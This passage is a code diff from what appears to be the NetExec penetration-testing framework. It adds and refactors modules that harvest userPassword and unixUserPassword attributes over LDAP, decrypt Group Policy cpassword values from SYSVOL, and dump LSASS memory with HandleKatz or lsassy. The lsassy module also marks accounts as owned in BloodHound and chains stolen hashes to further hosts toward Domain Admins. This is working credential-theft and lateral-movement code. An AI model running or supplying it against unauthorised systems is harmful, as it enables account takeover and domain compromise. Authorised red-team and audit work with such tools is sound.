def options(self, context, module_options):
|
||||
"""
|
||||
"""
|
||||
|
||||
def on_login(self, context, connection):
|
||||
searchFilter = "(objectclass=user)"
|
||||
|
||||
try:
|
||||
context.log.debug(f"Search Filter={searchFilter}")
|
||||
resp = connection.ldapConnection.search(
|
||||
searchFilter=searchFilter,
|
||||
attributes=["sAMAccountName", "unixUserPassword"],
|
||||
sizeLimit=0,
|
||||
)
|
||||
except ldap_impacket.LDAPSearchError as e:
|
||||
if e.getErrorString().find("sizeLimitExceeded") >= 0:
|
||||
context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
|
||||
resp = e.getAnswers()
|
||||
else:
|
||||
nxc_logger.debug(e)
|
||||
return False
|
||||
|
||||
answers = []
|
||||
context.log.debug(f"Total of records returned {len(resp)}")
|
||||
for item in resp:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
sAMAccountName = ""
|
||||
unixUserPassword = []
|
||||
try:
|
||||
for attribute in item["attributes"]:
|
||||
if str(attribute["type"]) == "sAMAccountName":
|
||||
sAMAccountName = str(attribute["vals"][0])
|
||||
elif str(attribute["type"]) == "unixUserPassword":
|
||||
unixUserPassword = [str(i) for i in attribute["vals"]]
|
||||
if sAMAccountName != "" and len(unixUserPassword) > 0:
|
||||
answers.append([sAMAccountName, unixUserPassword])
|
||||
except Exception as e:
|
||||
context.log.debug("Exception:", exc_info=True)
|
||||
context.log.debug(f"Skipping item, cannot process due to error {e!s}")
|
||||
if len(answers) > 0:
|
||||
context.log.success("Found following users: ")
|
||||
for answer in answers:
|
||||
context.log.highlight(f"User: {answer[0]} unixUserPassword: {answer[1]}")
|
||||
else:
|
||||
context.log.fail("No unixUserPassword Found")
|
||||
@@ -0,0 +1,63 @@
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
from impacket.ldap import ldap as ldap_impacket
|
||||
from nxc.logger import nxc_logger
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Get userPassword attribute from all users in ldap
|
||||
Module by @SyzikSecu
|
||||
"""
|
||||
|
||||
name = "get-userPassword"
|
||||
description = "Get userPassword attribute from all users in ldap"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
"""
|
||||
|
||||
def on_login(self, context, connection):
|
||||
searchFilter = "(objectclass=user)"
|
||||
|
||||
try:
|
||||
context.log.debug(f"Search Filter={searchFilter}")
|
||||
resp = connection.ldapConnection.search(
|
||||
searchFilter=searchFilter,
|
||||
attributes=["sAMAccountName", "userPassword"],
|
||||
sizeLimit=0,
|
||||
)
|
||||
except ldap_impacket.LDAPSearchError as e:
|
||||
if e.getErrorString().find("sizeLimitExceeded") >= 0:
|
||||
context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
|
||||
resp = e.getAnswers()
|
||||
else:
|
||||
nxc_logger.debug(e)
|
||||
return False
|
||||
|
||||
answers = []
|
||||
context.log.debug(f"Total of records returned {len(resp)}")
|
||||
for item in resp:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
sAMAccountName = ""
|
||||
userPassword = []
|
||||
try:
|
||||
for attribute in item["attributes"]:
|
||||
if str(attribute["type"]) == "sAMAccountName":
|
||||
sAMAccountName = str(attribute["vals"][0])
|
||||
elif str(attribute["type"]) == "userPassword":
|
||||
userPassword = [str(i) for i in attribute["vals"]]
|
||||
if sAMAccountName != "" and len(userPassword) > 0:
|
||||
answers.append([sAMAccountName, userPassword])
|
||||
except Exception as e:
|
||||
context.log.debug("Exception:", exc_info=True)
|
||||
context.log.debug(f"Skipping item, cannot process due to error {e!s}")
|
||||
if len(answers) > 0:
|
||||
context.log.success("Found following users: ")
|
||||
for answer in answers:
|
||||
context.log.highlight(f"User: {answer[0]} userPassword: {answer[1]}")
|
||||
else:
|
||||
context.log.fail("No userPassword Found")
|
||||
@@ -1,6 +1,3 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
from datetime import datetime
|
||||
from nxc.helpers.logger import write_log
|
||||
import json
|
||||
@@ -20,14 +17,11 @@ class NXCModule:
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
No options
|
||||
"""
|
||||
pass
|
||||
"""No options"""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
data = []
|
||||
cards = connection.wmi(f"select DNSDomainSuffixSearchOrder, IPAddress from win32_networkadapterconfiguration")
|
||||
cards = connection.wmi("select DNSDomainSuffixSearchOrder, IPAddress from win32_networkadapterconfiguration")
|
||||
if cards:
|
||||
for c in cards:
|
||||
if c["IPAddress"].get("value"):
|
||||
@@ -35,6 +29,6 @@ class NXCModule:
|
||||
|
||||
data.append(cards)
|
||||
|
||||
log_name = "network-connections-{}-{}.log".format(connection.host, datetime.now().strftime("%Y-%m-%d_%H%M%S"))
|
||||
log_name = f"network-connections-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log"
|
||||
write_log(json.dumps(data), log_name)
|
||||
context.log.display(f"Saved raw output to ~/.nxc/logs/{log_name}")
|
||||
@@ -1,6 +1,3 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import xml.etree.ElementTree as ET
|
||||
from io import BytesIO
|
||||
|
||||
@@ -30,7 +27,7 @@ class NXCModule:
|
||||
paths = connection.spider("SYSVOL", pattern=["Registry.xml"])
|
||||
|
||||
for path in paths:
|
||||
context.log.display("Found {}".format(path))
|
||||
context.log.display(f"Found {path}")
|
||||
|
||||
buf = BytesIO()
|
||||
connection.conn.getFile("SYSVOL", path, buf.write)
|
||||
@@ -56,7 +53,7 @@ class NXCModule:
|
||||
domains.append(attrs["value"])
|
||||
|
||||
if usernames or passwords:
|
||||
context.log.success("Found credentials in {}".format(path))
|
||||
context.log.highlight("Usernames: {}".format(usernames))
|
||||
context.log.highlight("Domains: {}".format(domains))
|
||||
context.log.highlight("Passwords: {}".format(passwords))
|
||||
context.log.success(f"Found credentials in {path}")
|
||||
context.log.highlight(f"Usernames: {usernames}")
|
||||
context.log.highlight(f"Domains: {domains}")
|
||||
context.log.highlight(f"Passwords: {passwords}")
|
||||
@@ -1,6 +1,3 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import xml.etree.ElementTree as ET
|
||||
from Cryptodome.Cipher import AES
|
||||
from base64 import b64decode
|
||||
@@ -43,7 +40,7 @@ class NXCModule:
|
||||
)
|
||||
|
||||
for path in paths:
|
||||
context.log.display("Found {}".format(path))
|
||||
context.log.display(f"Found {path}")
|
||||
|
||||
buf = BytesIO()
|
||||
connection.conn.getFile("SYSVOL", path, buf.write)
|
||||
@@ -57,10 +54,7 @@ class NXCModule:
|
||||
sections.append("./NTService/Properties")
|
||||
|
||||
elif "ScheduledTasks.xml" in path:
|
||||
sections.append("./Task/Properties")
|
||||
sections.append("./ImmediateTask/Properties")
|
||||
sections.append("./ImmediateTaskV2/Properties")
|
||||
sections.append("./TaskV2/Properties")
|
||||
sections.extend(("./Task/Properties", "./ImmediateTask/Properties", "./ImmediateTaskV2/Properties", "./TaskV2/Properties"))
|
||||
|
||||
elif "DataSources.xml" in path:
|
||||
sections.append("./DataSource/Properties")
|
||||
@@ -88,11 +82,11 @@ class NXCModule:
|
||||
|
||||
password = self.decrypt_cpassword(props["cpassword"])
|
||||
|
||||
context.log.success("Found credentials in {}".format(path))
|
||||
context.log.highlight("Password: {}".format(password))
|
||||
context.log.success(f"Found credentials in {path}")
|
||||
context.log.highlight(f"Password: {password}")
|
||||
for k, v in props.items():
|
||||
if k != "cpassword":
|
||||
context.log.highlight("{}: {}".format(k, v))
|
||||
context.log.highlight(f"{k}: {v}")
|
||||
|
||||
hostid = context.db.get_hosts(connection.host)[0][0]
|
||||
context.db.add_credential(
|
||||
|
||||
@@ -0,0 +1,91 @@
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
import sys
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Module by CyberCelt: @Cyb3rC3lt
|
||||
|
||||
Initial module:
|
||||
https://github.com/Cyb3rC3lt/CrackMapExec-Modules
|
||||
"""
|
||||
|
||||
name = "group-mem"
|
||||
description = "Retrieves all the members within a Group"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = False
|
||||
primaryGroupID = ""
|
||||
answers = []
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
group-mem: Specify group-mem to call the module
|
||||
GROUP: Specify the GROUP option to query for that group's members
|
||||
Usage: nxc ldap $DC-IP -u Username -p Password -M group-mem -o GROUP="domain admins"
|
||||
nxc ldap $DC-IP -u Username -p Password -M group-mem -o GROUP="domain controllers"
|
||||
"""
|
||||
self.GROUP = ""
|
||||
|
||||
if "GROUP" in module_options:
|
||||
self.GROUP = module_options["GROUP"]
|
||||
else:
|
||||
context.log.error("GROUP option is required!")
|
||||
sys.exit(1)
|
||||
|
||||
def on_login(self, context, connection):
|
||||
# First look up the SID of the group passed in
|
||||
search_filter = "(&(objectCategory=group)(cn=" + self.GROUP + "))"
|
||||
attribute = "objectSid"
|
||||
|
||||
search_result = do_search(self, context, connection, search_filter, attribute)
|
||||
# If no SID for the Group is returned exit the program
|
||||
if search_result is None:
|
||||
context.log.success('Unable to find any members of the "' + self.GROUP + '" group')
|
||||
return True
|
||||
|
||||
# Convert the binary SID to a primaryGroupID string to be used further
|
||||
sid_string = connection.sid_to_str(search_result).split("-")
|
||||
self.primaryGroupID = sid_string[-1]
|
||||
|
||||
# Look up the groups DN
|
||||
search_filter = "(&(objectCategory=group)(cn=" + self.GROUP + "))"
|
||||
attribute = "distinguishedName"
|
||||
distinguished_name = (do_search(self, context, connection, search_filter, attribute)).decode("utf-8")
|
||||
|
||||
# Carry out the search
|
||||
search_filter = "(|(memberOf=" + distinguished_name + ")(primaryGroupID=" + self.primaryGroupID + "))"
|
||||
attribute = "sAMAccountName"
|
||||
search_result = do_search(self, context, connection, search_filter, attribute)
|
||||
|
||||
if len(self.answers) > 0:
|
||||
context.log.success("Found the following members of the " + self.GROUP + " group:")
|
||||
for answer in self.answers:
|
||||
context.log.highlight(f"{answer[0]}")
|
||||
|
||||
|
||||
# Carry out an LDAP search for the Group with the supplied Group name
|
||||
def do_search(self, context, connection, searchFilter, attributeName):
|
||||
try:
|
||||
context.log.debug(f"Search Filter={searchFilter}")
|
||||
resp = connection.ldapConnection.search(searchFilter=searchFilter, attributes=[attributeName], sizeLimit=0)
|
||||
context.log.debug(f"Total number of records returned {len(resp)}")
|
||||
for item in resp:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
attribute_value = ""
|
||||
try:
|
||||
for attribute in item["attributes"]:
|
||||
if str(attribute["type"]) == attributeName:
|
||||
if attributeName in ["objectSid", "distinguishedName"]:
|
||||
return bytes(attribute["vals"][0])
|
||||
else:
|
||||
attribute_value = str(attribute["vals"][0])
|
||||
if attribute_value is not None:
|
||||
self.answers.append([attribute_value])
|
||||
except Exception as e:
|
||||
context.log.debug("Exception:", exc_info=True)
|
||||
context.log.debug(f"Skipping item, cannot process due to error {e}")
|
||||
except Exception as e:
|
||||
context.log.debug(f"Exception: {e}")
|
||||
return False
|
||||
@@ -1,100 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
|
||||
class NXCModule:
|
||||
'''
|
||||
Module by CyberCelt: @Cyb3rC3lt
|
||||
|
||||
Initial module:
|
||||
https://github.com/Cyb3rC3lt/CrackMapExec-Modules
|
||||
'''
|
||||
|
||||
name = 'group-mem'
|
||||
description = 'Retrieves all the members within a Group'
|
||||
supported_protocols = ['ldap']
|
||||
opsec_safe = True
|
||||
multiple_hosts = False
|
||||
primaryGroupID = ''
|
||||
answers = []
|
||||
|
||||
def options(self, context, module_options):
|
||||
'''
|
||||
group-mem: Specify group-mem to call the module
|
||||
GROUP: Specify the GROUP option to query for that group's members
|
||||
Usage: nxc ldap $DC-IP -u Username -p Password -M group-mem -o GROUP="domain admins"
|
||||
nxc ldap $DC-IP -u Username -p Password -M group-mem -o GROUP="domain controllers"
|
||||
'''
|
||||
|
||||
self.GROUP = ''
|
||||
|
||||
if 'GROUP' in module_options:
|
||||
self.GROUP = module_options['GROUP']
|
||||
else:
|
||||
context.log.error('GROUP option is required!')
|
||||
exit(1)
|
||||
|
||||
def on_login(self, context, connection):
|
||||
|
||||
#First look up the SID of the group passed in
|
||||
searchFilter = "(&(objectCategory=group)(cn=" + self.GROUP + "))"
|
||||
attribute = "objectSid"
|
||||
|
||||
searchResult = doSearch(self, context, connection, searchFilter, attribute)
|
||||
#If no SID for the Group is returned exit the program
|
||||
if searchResult is None:
|
||||
context.log.success('Unable to find any members of the "' + self.GROUP + '" group')
|
||||
return True
|
||||
|
||||
# Convert the binary SID to a primaryGroupID string to be used further
|
||||
sidString = connection.sid_to_str(searchResult).split("-")
|
||||
self.primaryGroupID = sidString[-1]
|
||||
|
||||
#Look up the groups DN
|
||||
searchFilter = "(&(objectCategory=group)(cn=" + self.GROUP + "))"
|
||||
attribute = "distinguishedName"
|
||||
distinguishedName = (doSearch(self, context, connection, searchFilter, attribute)).decode("utf-8")
|
||||
|
||||
# Carry out the search
|
||||
searchFilter = "(|(memberOf="+distinguishedName+")(primaryGroupID="+self.primaryGroupID+"))"
|
||||
attribute = "sAMAccountName"
|
||||
searchResult = doSearch(self, context, connection, searchFilter, attribute)
|
||||
|
||||
if len(self.answers) > 0:
|
||||
context.log.success('Found the following members of the ' + self.GROUP + ' group:')
|
||||
for answer in self.answers:
|
||||
context.log.highlight(u'{}'.format(answer[0]))
|
||||
|
||||
# Carry out an LDAP search for the Group with the supplied Group name
|
||||
def doSearch(self,context, connection,searchFilter,attributeName):
|
||||
try:
|
||||
context.log.debug('Search Filter=%s' % searchFilter)
|
||||
resp = connection.ldapConnection.search(searchFilter=searchFilter,
|
||||
attributes=[attributeName],
|
||||
sizeLimit=0)
|
||||
context.log.debug('Total no. of records returned %d' % len(resp))
|
||||
for item in resp:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
attributeValue = '';
|
||||
try:
|
||||
for attribute in item['attributes']:
|
||||
if str(attribute['type']) == attributeName:
|
||||
if attributeName == "objectSid":
|
||||
attributeValue = bytes(attribute['vals'][0])
|
||||
return attributeValue;
|
||||
elif attributeName == "distinguishedName":
|
||||
attributeValue = bytes(attribute['vals'][0])
|
||||
return attributeValue;
|
||||
else:
|
||||
attributeValue = str(attribute['vals'][0])
|
||||
if attributeValue is not None:
|
||||
self.answers.append([attributeValue])
|
||||
except Exception as e:
|
||||
context.log.debug("Exception:", exc_info=True)
|
||||
context.log.debug('Skipping item, cannot process due to error %s' % str(e))
|
||||
pass
|
||||
except Exception as e:
|
||||
context.log.debug("Exception:", e)
|
||||
return False
|
||||
@@ -1,8 +1,6 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
from impacket.ldap import ldap as ldap_impacket
|
||||
import sys
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -21,27 +19,24 @@ class NXCModule:
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
USER Choose a username to query group membership
|
||||
"""
|
||||
|
||||
"""USER Choose a username to query group membership"""
|
||||
self.user = ""
|
||||
if "USER" in module_options:
|
||||
if module_options["USER"] == "":
|
||||
context.log.fail("Invalid value for USER option!")
|
||||
exit(1)
|
||||
sys.exit(1)
|
||||
self.user = module_options["USER"]
|
||||
else:
|
||||
context.log.fail("Missing USER option, use --options to list available parameters")
|
||||
exit(1)
|
||||
sys.exit(1)
|
||||
|
||||
def on_login(self, context, connection):
|
||||
"""Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection"""
|
||||
# Building the search filter
|
||||
searchFilter = "(&(objectClass=user)(sAMAccountName={}))".format(self.user)
|
||||
searchFilter = f"(&(objectClass=user)(sAMAccountName={self.user}))"
|
||||
|
||||
try:
|
||||
context.log.debug("Search Filter=%s" % searchFilter)
|
||||
context.log.debug(f"Search Filter={searchFilter}")
|
||||
resp = connection.ldapConnection.search(
|
||||
searchFilter=searchFilter,
|
||||
attributes=["memberOf", "primaryGroupID"],
|
||||
@@ -53,7 +48,6 @@ class NXCModule:
|
||||
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
|
||||
# paged queries
|
||||
resp = e.getAnswers()
|
||||
pass
|
||||
else:
|
||||
context.log.debug(e)
|
||||
return False
|
||||
@@ -61,7 +55,7 @@ class NXCModule:
|
||||
memberOf = []
|
||||
primaryGroupID = ""
|
||||
|
||||
context.log.debug("Total of records returned %d" % len(resp))
|
||||
context.log.debug(f"Total of records returned {len(resp)}")
|
||||
for item in resp:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
@@ -75,16 +69,12 @@ class NXCModule:
|
||||
if str(primaryGroupID) == "513":
|
||||
memberOf.append("CN=Domain Users,CN=Users,DC=XXXXX,DC=XXX")
|
||||
elif str(attribute["type"]) == "memberOf":
|
||||
for group in attribute["vals"]:
|
||||
if isinstance(group._value, bytes):
|
||||
memberOf.append(str(group))
|
||||
|
||||
memberOf += [str(group) for group in attribute["vals"] if isinstance(group._value, bytes)]
|
||||
except Exception as e:
|
||||
context.log.debug("Exception:", exc_info=True)
|
||||
context.log.debug("Skipping item, cannot process due to error %s" % str(e))
|
||||
pass
|
||||
context.log.debug(f"Skipping item, cannot process due to error {e!s}")
|
||||
if len(memberOf) > 0:
|
||||
context.log.success("User: {} is member of following groups: ".format(self.user))
|
||||
context.log.success(f"User: {self.user} is member of following groups: ")
|
||||
for group in memberOf:
|
||||
# Split the string on the "," character to get a list of the group name and parent group names
|
||||
group_parts = group.split(",")
|
||||
@@ -93,5 +83,4 @@ class NXCModule:
|
||||
# and splitting it on the "=" character to get a list of the group name and its prefix (e.g., "CN")
|
||||
group_name = group_parts[0].split("=")[1]
|
||||
|
||||
# print("Group name: %s" % group_name)
|
||||
context.log.highlight("{}".format(group_name))
|
||||
context.log.highlight(f"{group_name}")
|
||||
+18
-14
@@ -1,6 +1,3 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
# handlekatz module for nxc python3
|
||||
# author of the module : github.com/mpgn
|
||||
# HandleKatz: https://github.com/codewhitesec/HandleKatz
|
||||
@@ -10,6 +7,7 @@ import re
|
||||
import sys
|
||||
|
||||
from nxc.helpers.bloodhound import add_user_bh
|
||||
import pypykatz
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -20,13 +18,12 @@ class NXCModule:
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
r"""
|
||||
TMP_DIR Path where process dump should be saved on target system (default: C:\\Windows\\Temp\\)
|
||||
HANDLEKATZ_PATH Path where handlekatz.exe is on your system (default: /tmp/)
|
||||
HANDLEKATZ_EXE_NAME Name of the handlekatz executable (default: handlekatz.exe)
|
||||
DIR_RESULT Location where the dmp are stored (default: DIR_RESULT = HANDLEKATZ_PATH)
|
||||
"""
|
||||
|
||||
self.tmp_dir = "C:\\Windows\\Temp\\"
|
||||
self.share = "C$"
|
||||
self.tmp_share = self.tmp_dir.split(":")[1]
|
||||
@@ -52,12 +49,19 @@ class NXCModule:
|
||||
self.dir_result = module_options["DIR_RESULT"]
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
handlekatz_loc = self.handlekatz_path + self.handlekatz
|
||||
|
||||
if self.useembeded:
|
||||
with open(self.handlekatz_path + self.handlekatz, "wb") as handlekatz:
|
||||
handlekatz.write(self.handlekatz_embeded)
|
||||
try:
|
||||
with open(handlekatz_loc, "wb") as handlekatz:
|
||||
handlekatz.write(self.handlekatz_embeded)
|
||||
except FileNotFoundError:
|
||||
context.log.fail(f"Handlekatz file specified '{handlekatz_loc}' does not exist!")
|
||||
sys.exit(1)
|
||||
|
||||
context.log.display(f"Copy {self.handlekatz_path + self.handlekatz} to {self.tmp_dir}")
|
||||
with open(self.handlekatz_path + self.handlekatz, "rb") as handlekatz:
|
||||
|
||||
with open(handlekatz_loc, "rb") as handlekatz:
|
||||
try:
|
||||
connection.conn.putFile(self.share, self.tmp_share + self.handlekatz, handlekatz.read)
|
||||
context.log.success(f"[OPSEC] Created file {self.handlekatz} on the \\\\{self.share}{self.tmp_share}")
|
||||
@@ -73,7 +77,7 @@ class NXCModule:
|
||||
p = p[0]
|
||||
|
||||
if not p or p == "None":
|
||||
context.log.fail(f"Failed to execute command to get LSASS PID")
|
||||
context.log.fail("Failed to execute command to get LSASS PID")
|
||||
return
|
||||
# we get a CSV string back from `tasklist`, so we grab the PID from it
|
||||
pid = p.split(",")[1][1:-1]
|
||||
@@ -121,17 +125,17 @@ class NXCModule:
|
||||
except Exception as e:
|
||||
context.log.fail(f"[OPSEC] Error deleting lsass.dmp file on share {self.share}: {e}")
|
||||
|
||||
h_in = open(self.dir_result + machine_name, "rb")
|
||||
h_out = open(self.dir_result + machine_name + ".decode", "wb")
|
||||
h_in = open(self.dir_result + machine_name, "rb") # noqa: SIM115
|
||||
h_out = open(self.dir_result + machine_name + ".decode", "wb") # noqa: SIM115
|
||||
|
||||
bytes_in = bytearray(h_in.read())
|
||||
bytes_in_len = len(bytes_in)
|
||||
|
||||
context.log.display(f"Deobfuscating, this might take a while (size: {bytes_in_len} bytes)")
|
||||
|
||||
chunks = [bytes_in[i : i + 1000000] for i in range(0, bytes_in_len, 1000000)]
|
||||
chunks = [bytes_in[i: i + 1000000] for i in range(0, bytes_in_len, 1000000)]
|
||||
for chunk in chunks:
|
||||
for i in range(0, len(chunk)):
|
||||
for i in range(len(chunk)):
|
||||
chunk[i] ^= 0x41
|
||||
|
||||
h_out.write(bytes(chunk))
|
||||
@@ -177,4 +181,4 @@ class NXCModule:
|
||||
if len(credz_bh) > 0:
|
||||
add_user_bh(credz_bh, None, context.log, connection.config)
|
||||
except Exception as e:
|
||||
context.log.fail("Error opening dump file", str(e))
|
||||
context.log.fail(f"Error opening dump file: {e}")
|
||||
+28
-34
@@ -1,5 +1,3 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# Author: Peter Gormington (@hackerm00n on Twitter)
|
||||
import logging
|
||||
from sqlite3 import connect
|
||||
@@ -12,7 +10,6 @@ from lsassy.session import Session
|
||||
from lsassy.impacketfile import ImpacketFile
|
||||
|
||||
credentials_data = []
|
||||
admin_results = []
|
||||
found_users = []
|
||||
reported_da = []
|
||||
|
||||
@@ -24,9 +21,9 @@ def neo4j_conn(context, connection, driver):
|
||||
session = driver.session()
|
||||
list(session.run("MATCH (g:Group) return g LIMIT 1"))
|
||||
context.log.display("Connection Successful!")
|
||||
except AuthError as e:
|
||||
except AuthError:
|
||||
context.log.fail("Invalid credentials")
|
||||
except ServiceUnavailable as e:
|
||||
except ServiceUnavailable:
|
||||
context.log.fail("Could not connect to neo4j database")
|
||||
except Exception as e:
|
||||
context.log.fail("Error querying domain admins")
|
||||
@@ -37,15 +34,14 @@ def neo4j_conn(context, connection, driver):
|
||||
|
||||
|
||||
def neo4j_local_admins(context, driver):
|
||||
global admin_results
|
||||
try:
|
||||
session = driver.session()
|
||||
admins = session.run("MATCH (c:Computer) OPTIONAL MATCH (u1:User)-[:AdminTo]->(c) OPTIONAL MATCH (u2:User)-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c) WITH COLLECT(u1) + COLLECT(u2) AS TempVar,c UNWIND TempVar AS Admins RETURN c.name AS COMPUTER, COUNT(DISTINCT(Admins)) AS ADMIN_COUNT,COLLECT(DISTINCT(Admins.name)) AS USERS ORDER BY ADMIN_COUNT DESC") # This query pulls all PCs and their local admins from Bloodhound. Based on: https://github.com/xenoscr/Useful-BloodHound-Queries/blob/master/List-Queries.md and other similar posts
|
||||
context.log.success("Admins and PCs obtained.")
|
||||
except Exception:
|
||||
context.log.fail("Could not pull admins")
|
||||
exit()
|
||||
admin_results = [record for record in admins.data()]
|
||||
context.log.success("Admins and PCs obtained")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Could not pull admins: {e}")
|
||||
return None
|
||||
return list(admins.data())
|
||||
|
||||
|
||||
def create_db(local_admins, dbconnection, cursor):
|
||||
@@ -69,16 +65,12 @@ def create_db(local_admins, dbconnection, cursor):
|
||||
if user not in admin_users:
|
||||
admin_users.append(user)
|
||||
for user in admin_users:
|
||||
cursor.execute("""INSERT OR IGNORE INTO admin_users(username) VALUES(?)""", [user])
|
||||
cursor.execute("INSERT OR IGNORE INTO admin_users(username) VALUES(?)", [user])
|
||||
dbconnection.commit()
|
||||
|
||||
|
||||
def process_creds(context, connection, credentials_data, dbconnection, cursor, driver):
|
||||
if connection.args.local_auth:
|
||||
context.log.extra["host"] = connection.conn.getServerDNSDomainName()
|
||||
else:
|
||||
context.log.extra["host"] = connection.domain
|
||||
context.log.extra["hostname"] = connection.host.upper()
|
||||
domain = connection.conn.getServerDNSDomainName() if connection.args.local_auth else connection.domain
|
||||
for result in credentials_data:
|
||||
username = result["username"].upper().split("@")[0]
|
||||
nthash = result["nthash"]
|
||||
@@ -89,7 +81,7 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d
|
||||
"UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'",
|
||||
[password],
|
||||
)
|
||||
username = f"{username.upper()}@{context.log.extra['host'].upper()}"
|
||||
username = f"{username.upper()}@{domain.upper()}"
|
||||
dbconnection.commit()
|
||||
session = driver.session()
|
||||
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
|
||||
@@ -103,17 +95,17 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d
|
||||
[nthash],
|
||||
)
|
||||
dbconnection.commit()
|
||||
username = f"{username.upper()}@{context.log.extra['host'].upper()}"
|
||||
username = f"{username.upper()}@{domain.upper()}"
|
||||
session = driver.session()
|
||||
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
|
||||
path_to_da = session.run("MATCH p=shortestPath((n)-[*1..]->(m)) WHERE n.owned=true AND m.name=~ '.*DOMAIN ADMINS.*' RETURN p")
|
||||
paths = [record for record in path_to_da.data()]
|
||||
paths = list(path_to_da.data())
|
||||
|
||||
for path in paths:
|
||||
if path:
|
||||
for key, value in path.items():
|
||||
for value in path.values():
|
||||
for item in value:
|
||||
if type(item) == dict:
|
||||
if isinstance(item, dict):
|
||||
if {item["name"]} not in reported_da:
|
||||
context.log.success(f"You have a valid path to DA as {item['name']}.")
|
||||
reported_da.append({item["name"]})
|
||||
@@ -147,15 +139,17 @@ class NXCModule:
|
||||
self.reset = None
|
||||
self.reset_dumped = None
|
||||
self.method = None
|
||||
|
||||
@staticmethod
|
||||
def save_credentials(context, connection, domain, username, password, lmhash, nthash):
|
||||
host_id = context.db.get_computers(connection.host)[0][0]
|
||||
host_id = context.db.get_hosts(connection.host)[0][0]
|
||||
if password is not None:
|
||||
credential_type = 'plaintext'
|
||||
credential_type = "plaintext"
|
||||
else:
|
||||
credential_type = 'hash'
|
||||
password = ':'.join(h for h in [lmhash, nthash] if h is not None)
|
||||
credential_type = "hash"
|
||||
password = ":".join(h for h in [lmhash, nthash] if h is not None)
|
||||
context.db.add_credential(credential_type, domain, username, password, pillaged_from=host_id)
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
METHOD Method to use to dump lsass.exe with lsassy
|
||||
@@ -173,7 +167,7 @@ class NXCModule:
|
||||
# lsassy also removes all other handlers and overwrites the formatter which is bad (we want ours)
|
||||
# so what we do is define "success" as a logging level, then do nothing with the output
|
||||
logging.addLevelName(25, "SUCCESS")
|
||||
setattr(logging, "success", lambda message, *args: ())
|
||||
logging.success = lambda message, *args: ()
|
||||
|
||||
host = connection.host
|
||||
domain_name = connection.domain
|
||||
@@ -198,13 +192,13 @@ class NXCModule:
|
||||
return False
|
||||
dumper = Dumper(session, timeout=10, time_between_commands=7).load(self.method)
|
||||
if dumper is None:
|
||||
context.log.fail("Unable to load dump method '{}'".format(self.method))
|
||||
context.log.fail(f"Unable to load dump method '{self.method}'")
|
||||
return False
|
||||
file = dumper.dump()
|
||||
if file is None:
|
||||
context.log.fail("Unable to dump lsass")
|
||||
return False
|
||||
credentials, tickets, masterkeys = Parser(file).parse()
|
||||
credentials, tickets, masterkeys = Parser(host, file).parse()
|
||||
file.close()
|
||||
ImpacketFile.delete(session, file.get_file_path())
|
||||
if credentials is None:
|
||||
@@ -247,10 +241,10 @@ class NXCModule:
|
||||
if len(more_to_dump) > 0:
|
||||
context.log.display(f"User {user[0]} has more access to {pc[0]}. Attempting to dump.")
|
||||
connection.domain = user[0].split("@")[1]
|
||||
setattr(connection, "host", pc[0].split(".")[0])
|
||||
setattr(connection, "username", user[0].split("@")[0])
|
||||
setattr(connection, "nthash", user[1])
|
||||
setattr(connection, "nthash", user[1])
|
||||
connection.host = pc[0].split(".")[0]
|
||||
connection.username = user[0].split("@")[0]
|
||||
connection.nthash = user[1]
|
||||
connection.nthash = user[1]
|
||||
try:
|
||||
self.run_lsassy(context, connection, cursor)
|
||||
